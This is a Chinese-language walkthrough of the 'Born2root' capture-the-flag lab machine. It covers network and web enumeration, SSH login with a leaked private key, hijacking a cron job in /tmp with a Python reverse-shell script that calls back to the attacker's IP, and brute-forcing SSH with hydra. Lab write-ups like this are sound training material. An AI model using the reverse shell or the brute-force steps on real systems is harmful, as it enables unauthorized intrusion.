介绍

图片

HackGameName:Born2root’s
Level:Medium
Task:Get /root/flag.txt

学习到的知识

利用Linux/etc/crontab文件获取Shell
利用Hadry暴力枚举SSH登陆密码

信息搜集

先是扫描一下 eth0 网卡下有哪些主机存活(wifi连接的网卡)

1
netdiscover -i eth0

图片

扫描出来后,发现靶机 IP :192.168.0.49,获取到 IP 之后对它进行 NMAP 端口扫描:

1
nmap -A 192.168.0.49

图片

扫描出来它开放了三个端口:2280111,操作系统是Linux,内核版本是3.2-4.9(模糊):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
22/tcp  open  ssh     OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
| ssh-hostkey:
| 1024 3d:6f:40:88:76:6a:1d:a1:fd:91:0f:dc:86:b7:81:13 (DSA)
| 2048 eb:29:c0:cb:eb:9a:0b:52:e7:9c:c4:a6:67:dc:33:e1 (RSA)
| 256 d4:02:99:b0:e7:7d:40:18:64:df:3b:28:5b:9e:f9:07 (ECDSA)
|_ 256 e9:c4:0c:6d:4b:15:4a:58:4f:69:cd:df:13:76:32:4e (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
| http-robots.txt: 2 disallowed entries
|_/wordpress-blog /files
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Secretsec Company
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 46136/udp6 status
| 100024 1 47014/udp status
| 100024 1 53732/tcp6 status
|_ 100024 1 56378/tcp status

图片

通过扫描出来的开放服务,我对它进行来搜索,看看有没有对应的漏洞,很显然通过上图来看它们是没有漏洞的!那么我们继续从web开始!

使用 dirb 对web目录进行探测枚举:

1
dirb http://192.168.0.49/

图片

访问 files 是一个目录遍历,但是里面是空的;接着访问了 http://192.168.0.49/icons/ 发现也是一个目录遍历,里面泄漏了很多文件:

图片

其中有一个文件 VDSoyuAXiO.txt 打开后发现是一个 ssh 的密钥:

1
http://192.168.0.49/icons/VDSoyuAXiO.txt

图片

这个很显然是一个 ssh-keygen 生成的私钥文件!原文件名应该是:id_rsa,通过这个文件我们可以对它进行破解,我们先保存起!继续信息搜集!

图片

通过访问 robots.txt 后我发现它有两个文件,但是打开后发现没啥用:

图片

图片

最后通过访问 index.html 发现它泄漏了一个手机号和三个用户以及一枚邮箱:

1
2
3
tel:052-452-990-054
user:Martin、Hadi、Jimmy
email:martin@sercetsec.com

图片

通过信息搜集后,我从web得到了一些用户名、邮箱,最重要的是我还得到了一个 ssh 的私钥!

登陆SSH

通过刚刚的信息搜集我利用 wget 把文件VDSoyuAXiO.txt下载到本地并重命名为 id_rsa 文件:

图片

因为刚刚得到了几个用户,通过社工到手段再结合利用这个私钥我尝试 ssh登陆三个用户,最终是登陆了 martn 用户:

1
ssh -i id_rsa martin@192.168.0.49

图片

登陆到 martin 用户后,我通过查看 passwd 文件发现了三个用户,那三个用户正是刚刚信息搜集得到到用户:

1
2
3
hadi  
jimmy
martin

图片

接着我来到 home 目录下的 hadi 用户,我发现里面没有啥文件可以利用的:

图片

接着尝试进入 jimmy 用户目录发现权限不够,进入不了:

图片

利用定时任务反弹Shell

通过查看 /etc/crontab 目录,我发现了一个定时任务

1
cat /etc/crontab

图片

在 /tmp(临时目录)下有一个 sekurity.py 文件,jimmy 用户会每隔五分钟运行一次!那么,我们可不可以通过这个来反弹Shell呢?

通过进入 tmp 目录发现里面是空的,啥文件都没有:

图片

然后创建一个 sekurity.py 文件,里面内容是通过 socket、subprocess、os模块,通过套接字监听 kali 的 ip端口

图片

1
2
3
4
5
6
7
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.0.6",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"]);

然后 Kali 使用 nc 监听 4444 端口:

1
nc -lnvp 4444

过了五分钟后,通过nc得到了一枚shell:

图片

通过信息收集发现 jimmy 用户没得 flag 文件,那么估计就在 hadi 用户哪里!

图片

这个时候我通过一系列的翻文件和一些关键信息,我没有找到可以利用的地方,没办法只能通过最暴力的办法获取hadi用户:暴力枚举

Hadry爆破SSH

通过字典生成,我生成了有关 hadi 的字典文件:

图片

图片

利用Hadry爆破SSH

1
2
hydra -l hadi -P dic.txt 192.168.0.49 ssh  -v 
其中-l 指定用户名,可以使用-L指定用户名字典文件;-p指定密码,-P指定密码字典文件;-v显示详细的执行过程;-f爆破成功后就停止枚举。

图片

通过暴力枚举后,得到 hadi 的密码是 hadi123

图片

通过登陆到 hadi 用户后,su 切换 root 用户,密码为 hadi123

图片

最终在 root 目录下得到了 flag !